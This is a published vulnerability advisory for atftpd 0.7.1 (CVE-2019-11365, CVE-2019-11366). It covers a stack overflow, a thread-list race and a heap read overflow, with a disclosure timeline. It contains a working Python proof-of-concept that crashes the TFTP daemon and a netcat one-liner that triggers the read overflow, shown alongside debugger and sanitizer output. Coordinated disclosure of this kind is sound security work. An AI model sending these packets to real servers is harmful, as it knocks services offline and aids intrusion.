atftpd - Multiple Memory Corruption Vulnerabilities (CVE-2019-11365, CVE-2019-11366)

Apr 17 2019

atftpd contained multiple vulnerabilities, including stack buffer overflow, concurrency issues and heap-based read overflow.

Date Released: 17/04/2019
Author: Denis Andzakovic
Vendor Website: https://sourceforge.net/projects/atftp/
Affected Software: atftpd 0.7.1
CVE: CVE-2019-11365, CVE-2019-11366

Error handler stack overflow

A remote attacker may send a crafted packet to the atftpd daemon, triggering a stack based buffer overflow due to an insecurely implemented strncpy call. The vulnerability is triggered by sending an error packet that’s 3 bytes or shorter. There are multiple instances of this vulnerable strncpy error handling pattern within the code base, specifically within tftpd_file.c, tftp_file.c, tftpd_mtftp.c and tftp_mtftp.c. The following snippet shows an example vulnerable code path in tftpd_file.c:

 263                result = tftp_get_packet(sockfd, -1, NULL, sa, &from, NULL,
 264                                         timeout, &data_size, data->data_buffer);
 265
 266                switch (result)
 267                {
{...snip...}
 282                     break;
 283                case GET_ERROR:
{...snip...}
 307                     Strncpy(string, tftphdr->th_msg,
 308                             (((data_size - 4) > MAXLEN) ? MAXLEN :

data_size is defined as an int, and MAXLEN is a macro for 256. By sending a tftp error packet that’s 3 bytes or shorter, the third parameter to strncpy becomes negative. As strncpy expects a size_t, this results in a large overflow of string, a stack allocated buffer.

Proof-of-concept

The following proof-of-concept can be used to replicate the issue

#!/usr/bin/python
import sys
import socket

IP = "127.0.0.1"
PORT = 69

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 51231))

sock.sendto("\x00\x02\x31\x00\x6f\x63\x74\x65\x74\x00", (IP, PORT))
msg, server = sock.recvfrom(1024);
print >>sys.stderr, 'received %s bytes from %s' % (len(msg), server)

sock.sendto("\x00\x05", server); 
msg, server = sock.recvfrom(1024); # boom
print >>sys.stderr, 'received %s bytes from %s' % (len(msg), server)

sock.close()

The POC above results in the following segfault:

(gdb) r -m1000 --user doi --group doi --logfile - -v --daemon --no-fork --port 6969 files/
Starting program: /home/doi/targets/atftp-0.7.git20120829/atftpd -m1000 --user doi --group doi --logfile - -v --daemon --no-fork --port 6969 files/
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]: Advanced Trivial FTP server started (0.7)
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   running in daemon mode on port 6969
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   logging level: 6
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   directory: files//
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   user: doi.doi
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   log file: -
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   not forcing to listen on local interfaces.
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   server timeout: Not used
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   tftp retry timeout: 5
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   maximum number of thread: 1000
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   option timeout:   enabled
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   option tzise:     enabled
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   option blksize:   enabled
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:   option multicast: enabled
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:      address range: 239.255.0.0-255
Jan 11 16:01:27 akl-dl380g6-2 atftpd[11579.140737354008384]:      port range:    1758
[New Thread 0x7ffff6d10700 (LWP 11585)]
Jan 11 16:01:40 akl-dl380g6-2 atftpd[11579.140737334281984]: socket may listen on any address, including broadcast
Jan 11 16:01:40 akl-dl380g6-2 atftpd[11579.140737334281984]: Fetching from 127.0.0.1 to 1

Thread 2 "atftpd" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff6d10700 (LWP 11585)]
__strncpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:1671
1671    ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: No such file or directory.
(gdb) bt
#0  __strncpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:1671
#1  0x000055555555a239 in strncpy (__len=18446744073709551614, [email protected]=0x55555576ef24 "octet",
    [email protected]=0xfffffffffffffffe <error: Cannot access memory at address 0xfffffffffffffffe>) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:106
#2  Strncpy ([email protected]=0x7ffff6d0fbb0 "octet", [email protected]=0x55555576ef24 "octet", size=18446744073709551614) at tftp_def.c:138
#3  0x000055555555b5d8 in tftpd_receive_file (data=0x55555576edf0) at tftpd_file.c:307
#4  0x0000000000000000 in ?? ()
(gdb)

This crash also occurs when running in the default Debian configuration:

[  397.759696] in.tftpd[6720]: segfault at 7f5cdad9e000 ip 00007f5cdb04b605 sp 00007f5cdad9c9c8 error 7 in libc-2.24.so[7f5cdafb6000+195000]

Concurrency issue denial of service

Atftpd does not lock the thread_list_mutex mutex before assigning the current thread data structure. As a result, the daemon is vulnerable to a denial of service attack due to null pointer dereference. If thread_data is null when assigned to current and modified by another thread prior to the check on line 61, then atftpd crashes when dereferencing current->next. The following tftpd_list.c snippet shows the issue:

 46 /*
 47  * Add a new thread_data structure to the list. Thread list mutex is locked
 48  * before walking the list and doing the insertion.
 49  */
 50 int tftpd_list_add(struct thread_data *new)
 51 {
 52      struct thread_data *current = thread_data;
 53      int ret;
 54
 55      pthread_mutex_lock(&thread_list_mutex);
 56
 57      number_of_thread++;
 58
 59      ret = number_of_thread;
 60
 61      if (thread_data == NULL)
 62      {
 63           thread_data = new;
 64           new->prev = NULL;
 65           new->next = NULL;
 66      }
 67      else
 68      {
 69           while (current->next != NULL)
 70                current = current->next;

The tftpd_list_add, tftpd_list_remove, tftpd_list_find_multicast_server_and_add and tftpd_list_kill_threads methods all contained this vulnerable code pattern.

The denial of service can be triggered by sending a huge amount of tftpd packets simultaneously when running atftpd in daemon mode. As this vulnerability is timing constrained, the amount of packets required before a crash occurs varies. The following was generated by looping 16 threads sending tftp packets:

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `./atftpd -m1000 --user doi --group doi --logfile - -v --daemon --no-fork --port'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  tftpd_list_add (new=0x55783a2bf7a0) at tftpd_list.c:69
69                while (current->next != NULL)
[Current thread is 1 (Thread 0x7ff1e4a93700 (LWP 27285))]
(gdb) bt
#0  tftpd_list_add (new=0x55783a2bf7a0) at tftpd_list.c:69
#1  0x0000557838dc42ea in tftpd_receive_request (arg=0x55783a2bf7a0) at tftpd.c:664
#2  0x00007ff1e59406db in start_thread (arg=0x7ff1e4a93700) at pthread_create.c:463
#3  0x00007ff1e53f788f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
(gdb) p current
$1 = (struct thread_data *) 0x0
(gdb) x/i $pc
=> 0x557838dc9d5b <tftpd_list_add+59>:  mov    0x118(%rbx),%rax
(gdb) info reg
rax            0x1      1
rbx            0x0      0
rcx            0x0      0
rdx            0x0      0
rsi            0x0      0
rdi            0x1      1
rbp            0x2      0x2

Argument parsing heap read overflow

When reading option arguments, atftpd does not ensure that the source buffer is null terminated before passing to strchr. This results in atftp reading past the end of a heap buffer allocated for tftp transfers. This issue did not lead to a server crash, however ensuring the buffer pointed to by entry is null terminated is recommended. This form of heap read overflow can often lead to info leak vulnerabilities, however in this case the vulnerability is included more as an informational note.

The following snippet shows the vulnerable option parsing code:

39 int opt_parse_request(char *data, int data_size, struct tftp_opt *options)
40 {
41      char *entry = NULL;
 42      char *tmp;
 43      struct tftphdr *tftp_data = (struct tftphdr *)data;
 44      size_t size = data_size - sizeof(tftp_data->th_opcode);
 45      
 46      /* read filename */
 47      entry = argz_next(tftp_data->th_stuff, size, entry);
{...snip...}
 59      // FIXME: we should use opt_parse_options() here
 60      while ((entry = argz_next(tftp_data->th_stuff, size, entry)))
 61      {
 62           tmp = entry;
 63           entry = argz_next(tftp_data->th_stuff, size, entry);
 64           if (!entry)

The call to argz_next subsequently calls strchr on a buffer that may not be null terminated:

 44 char * argz_next (const char *argz, size_t argz_len, const char *entry)
 45 {
 46   if (entry)
 47     {
 48       if (entry < argz + argz_len)
 49         entry = strchr (entry, '\0') + 1;

The bug can be triggered using echo 'aaaa' | nc -u 127.0.0.1 69, resulting in the following address sanitizer dump:

==14658==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x616000001184 at pc 0x0000004a33cc bp 0x7f4ca2bbcaf0 sp 0x7f4ca2bbc2a0
READ of size 514 at 0x616000001184 thread T1
    #0 0x4a33cb in __interceptor_strlen.part.34 /home/doi/tools/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:364
    #1 0x535721 in argz_next /home/doi/targets/atftp/argz.c:49:17
    #2 0x52b5b1 in opt_parse_request /home/doi/targets/atftp/options.c:60:22
    #3 0x52aabb in tftpd_receive_request /home/doi/targets/atftp/tftpd.c:731:16
    #4 0x7f4ca77786da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da)
    #5 0x7f4ca686d88e in clone (/lib/x86_64-linux-gnu/libc.so.6+0x12188e)

0x616000001184 is located 0 bytes to the right of 516-byte region [0x616000000f80,0x616000001184)
allocated by thread T0 here:
    #0 0x4e66c7 in malloc /home/doi/tools/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146
    #1 0x5289a9 in main /home/doi/targets/atftp/tftpd.c:477:40
    #2 0x7f4ca676db96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

Thread T1 created by T0 here:
    #0 0x435a20 in __interceptor_pthread_create /home/doi/tools/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:210
    #1 0x528b70 in main /home/doi/targets/atftp/tftpd.c:523:20
    #2 0x7f4ca676db96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/doi/tools/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:364 in __interceptor_strlen.part.34
Shadow bytes around the buggy address:
  0x0c2c7fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2c7fff81f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c7fff8210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2c7fff8230:[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2c7fff8240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2c7fff8250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c7fff8260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c7fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c7fff8280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc

Timeline

17/01/2019 - Initial email to atftpd developers, requesting GPG keys
24/01/2019 - Follow up on keys
29/01/2019 - Advisory email sent
09/04/2019 - Follow up email sent, included a patch file
16/04/2019 - Commits 382f76 and abed7d added to address the stack overflow and concurrency DOS
17/04/2019 - Advisory released